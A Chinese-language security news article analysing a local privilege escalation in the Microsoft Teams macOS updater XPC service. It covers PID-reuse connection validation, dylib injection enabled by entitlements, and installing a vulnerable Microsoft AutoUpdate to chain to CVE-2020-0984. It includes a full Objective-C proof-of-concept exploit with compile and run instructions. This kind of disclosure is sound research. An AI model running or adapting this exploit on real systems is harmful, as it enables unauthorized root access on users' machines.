MICROSOFT TEAMS MACOS版本本地權(quán)限提升漏洞 |
來源:聚銘網(wǎng)絡(luò) 發(fā)布時間:2020-11-25 瀏覽次數(shù): |
信息來源:嘶吼網(wǎng)
Offensive Security安全研究人員在Microsoft Teams的XPC 服務(wù)中發(fā)現(xiàn)了一個安全漏洞,并將漏洞報告給了MSRC,微軟確認(rèn)了該漏洞但決定不立即修復(fù)。 漏洞根源分析 漏洞是兩個不同問題引發(fā),當(dāng)這兩個問題組合在一起時就會引發(fā)漏洞利用場景: · 不安全的XPC 連接驗證; · 安裝包用戶控制和包簽名驗證不充分; XPC 服務(wù)是由/Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist 文件啟動的。 % sudo plutil -convert xml1 /Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist -o - Label com.microsoft.teams.TeamsUpdaterDaemon MachServices com.microsoft.teams.TeamsUpdaterDaemon Program /Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon 圖1 – Microsoft Teams Updater launchd文件 其中含有一個名為com.microsoft.teams.TeamsUpdaterDaemon 的Mach服務(wù),可執(zhí)行路徑為/Applications/MicrosoftTeams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon。這個位置是很不尋常的,因為類似的服務(wù)一般安裝在 /Library/PrivilegedHelperTools/ 目錄下。 研究人員用Hopper 打開了該二進制文件,開始分析shouldAcceptNewConnection: 方法,該方法負(fù)責(zé)控制對XPC 服務(wù)的連接訪問。 /* @class ServiceDelegate */ -(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 { r12 = [arg3 retain]; rdx = r12; r14 = [self isValidConnection:rdx]; 圖 2 –shouldAcceptNewConnection: 方法開始部分 shouldAcceptNewConnection: 方法會接受NSXPCConnection 對象作為參數(shù),其中含有對連接的客戶端的引用。本例中參數(shù)是arg3,會立刻傳遞給isValidConnection: 方法來驗證連接的客戶端。isValidConnection: 方法如下所示: -(char)isValidConnection:(void *)arg2 { r13 = [arg2 retain]; rbx = [[Logger getInstance] retain]; [rbx logInfo:@"Validating connection"]; [rbx release]; rbx = [arg2 processIdentifier]; 圖3 – isValidConnection: 方法 isValidConnection: 方法會獲取客戶端的PID,用于之后的驗證。如果開發(fā)者使用auditToken 特征而不是PID,那么XPC 服務(wù)就可以驗證連接的服務(wù)是不是期望的了。但是,因為PID可以重用,因此驗證是可能被繞過的。 通過processIdentifier 的連接的驗證是非常復(fù)雜的。但是因為使用了PID 就可能會被繞過。 通過分析主應(yīng)用的代碼簽名可以發(fā)現(xiàn)另外一個問題: % codesign -dv --entitlements :- /Applications/Microsoft\ Teams.app Executable=/Applications/Microsoft Teams.app/Contents/MacOS/Teams Identifier=com.microsoft.teams Format=app bundle with Mach-O thin (x86_64) CodeDirectory v=20500 size=383 flags=0x10000(runtime) hashes=3+5 location=embedded Signature size=9060 Timestamp=2020. Jun 4. 3:32:37 Info.plist entries=17 TeamIdentifier=UBF8T346G9 Runtime Version=10.12.0 Sealed Resources version=2 rules=13 files=128 Internal requirements count=1 size=180 com.apple.security.device.camera com.apple.security.device.audio-input com.apple.security.personal-information.location com.apple.security.automation.apple-events com.apple.security.cs.allow-jit com.apple.security.cs.allow-unsigned-executable-memory com.apple.security.cs.disable-library-validation com.apple.security.cs.disable-executable-page-protection 圖4 – “Microsoft Teams.app”的代碼簽名 即時使用了audit_token,MS Teams 應(yīng)用仍然可能會受到dylib代理攻擊的影響,因為com.apple.security.cs.disable-library-validation entitlement 被設(shè)置為true。因此,攻擊者可以向應(yīng)用注入dylib、當(dāng)其連接到XPC 服務(wù)時冒充它。 雖然app的文件夾只有root用戶可寫,并且無法替換其中的dylib,但是惡意攻擊者可以將其復(fù)制到任意文件,然后注入到復(fù)制的應(yīng)用中。 可以看到app文件夾中可以被劫持的dylib很多,比如: /Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libskypert.dylib /Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmControl.dylib /Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libssScreenVVS2.dylib /Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmMediaStack.dylib /Applications/Microsoft Teams.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries/libffmpeg.dylib 圖5 – “Microsoft Teams.app” 中的Dylibs installUpdateWithPackage:withPreferences:withReply: 方法會將包路徑作為參數(shù)接受。該路徑是由用戶控制的,可以是文件系統(tǒng)中的任何文職。該方法會檢查文件是否存在,如果存在就清空應(yīng)用支持文件夾。然后,該方法調(diào)用copyPkgToAppSupport: 來復(fù)制包到應(yīng)用支持文件夾,該文件夾只有root 用戶才可以訪問。這會鎖定復(fù)制的文件并驗證。 該包被復(fù)制后,會調(diào)用validatePackage: 方法。 validatePackage: 方法會用pkgutil 來檢查包是否是代碼簽名的,如果是,就調(diào)用_FValidMicrosoftPackage。 _FValidMicrosoftPackage 函數(shù)負(fù)責(zé)驗證微軟的簽名。驗證并不能預(yù)防老的、有漏洞的微軟應(yīng)用的安裝。 總的來看,研究人員發(fā)現(xiàn)可以執(zhí)行dylib 劫持或PID 重用攻擊來與MS teams的XPC 服務(wù)對話。該服務(wù)會暴露一個允許安裝定制的微軟簽名的安裝包的函數(shù)。如果簽名驗證正確完成,就可以安裝可能含有有漏洞的老版本的微軟應(yīng)用。 漏洞利用 為了利益Teams應(yīng)用漏洞,首先需要連接XPC 服務(wù)。為此,研究人員用經(jīng)典的競爭條件PID 重用攻擊。因為每個對XPC 服務(wù)的調(diào)用都會執(zhí)行clearPkgsInAppSupport: 方法,應(yīng)用支持文件夾的內(nèi)容會被刪除,只需要贏得競爭條件就可以了。如果贏得了競爭條件,復(fù)制的文件就會被刪除,引發(fā)漏洞利用失敗。 一旦與XPC 服務(wù)通信,就可以安裝Microsoft AutoUpdate (MAU) 4.20,其中包含本地權(quán)限提升漏洞。 漏洞利用方案如下: · 通過PID 重用攻擊與XPC 服務(wù)通信; · 安裝有漏洞的Microsoft AutoUpdate 版本; · 利用MAU XPC服務(wù)中的權(quán)限提升漏洞(CVE-2020-0984)。 在運行漏洞利用代碼前,需要將有漏洞的MAU 安裝器放在正確的位置。研究人員將下載Microsoft_AutoUpdate_4.20.20020900_Updater.pkg 包,并將其放置在 /tmp/ 目錄。然后調(diào)用XPC 服務(wù)的 installUpdateWithPackage:withPreferences:withReply: 方法,并執(zhí)行PID 重用攻擊。 PoC 代碼如下: #import #include #include @protocol TeamsUpdaterDaemonProtocol - (void)installUpdateWithPackage:(NSString *)arg1 withPreferences:(NSDictionary *)arg2 withReply:(void (^)(NSString *))arg3; - (void)ping:(void (^)(void))arg1; @end int main(void) { //Only 2 is the race count, more than that will result in deletion of our own pkg files #define RACE_COUNT 2 // Define application allowed to communicate with XPC service #define kValid "/Applications/Microsoft Teams.app/Contents/MacOS/Teams" extern char **environ; int pids[RACE_COUNT]; for (int i = 0; i < RACE_COUNT; i++) { int pid = fork(); //Only enter for child process if (pid == 0) { NSString* _serviceName = @"com.microsoft.teams.TeamsUpdaterDaemon"; //Connect to Vulnerable XPC Service NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096]; [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(TeamsUpdaterDaemonProtocol)]]; [_agentConnection resume]; // Handle error if one occurs id obj = [_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) { (void)error; NSLog(@"Connection Failure"); }]; NSLog(@"obj: %@", obj); NSLog(@"conn: %@", _agentConnection); //run MS installer //pkg path NSString* pkg = @"/tmp/Microsoft_AutoUpdate_4.20.20020900_Updater.pkg"; //preferences dictionary objects, a random UID, and the current user's name NSDictionary *dict = [NSDictionary dictionaryWithObjects:@[@"48fe48cc-1c3a-4bf8-a731-1947150b4a3f",NSUserName()] forKeys:@[@"TeamsPreferenceCorrelationId",@"TeamsPreferenceUsername"]]; //call the XPC [obj installUpdateWithPackage:pkg withPreferences:dict withReply:^(NSString* arg3){ NSLog(@"%@",arg3); }]; //Spawn a new process with a pid reused of the current child. This process will have a valid MS signature since we spawn MS Teams //Once the connection is verified with the valid spawned process, the message sent above will be consumed char target_binary[] = kValid; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); } printf("forked %d\n", pid); pids[i] = pid; } // keep the children alive sleep(10); cleanup: for (int i = 0; i < RACE_COUNT; i++) { pids[i] && kill(pids[i], 9); } } 可以用下面的命令編譯PoC 代碼: gcc -framework Foundation msteamspid.m -o msteamspid 運行漏洞利用后,需要檢查MAU 包是否安裝過。因為漏洞利用使用了競爭條件,可能需要多次運行。根據(jù)機器的速度,RACE_COUNT 變量可能需要調(diào)整。 根據(jù)位于 /Library/Logs/Microsoft/Teams/updater.log的 XPC 服務(wù)日志,下面的記錄會出現(xiàn)一次,否則漏洞利用將會失敗。 2020-07-05 15:35:28[TeamsUpdaterDaemon]<727>-信息-連接驗證 多次調(diào)用 installUpdateWithPackage:withPreferences:withReply: 可能會在clearPkgsInAppSupport: 調(diào)用過程中引發(fā)pkg 文件移除,安裝將會失敗。 成功利用了Microsoft Teams漏洞后,需要通過XPC 調(diào)用剛剛安裝的MAU 應(yīng)用。MAU 漏洞利用可以通過注入dylib 來完成。 |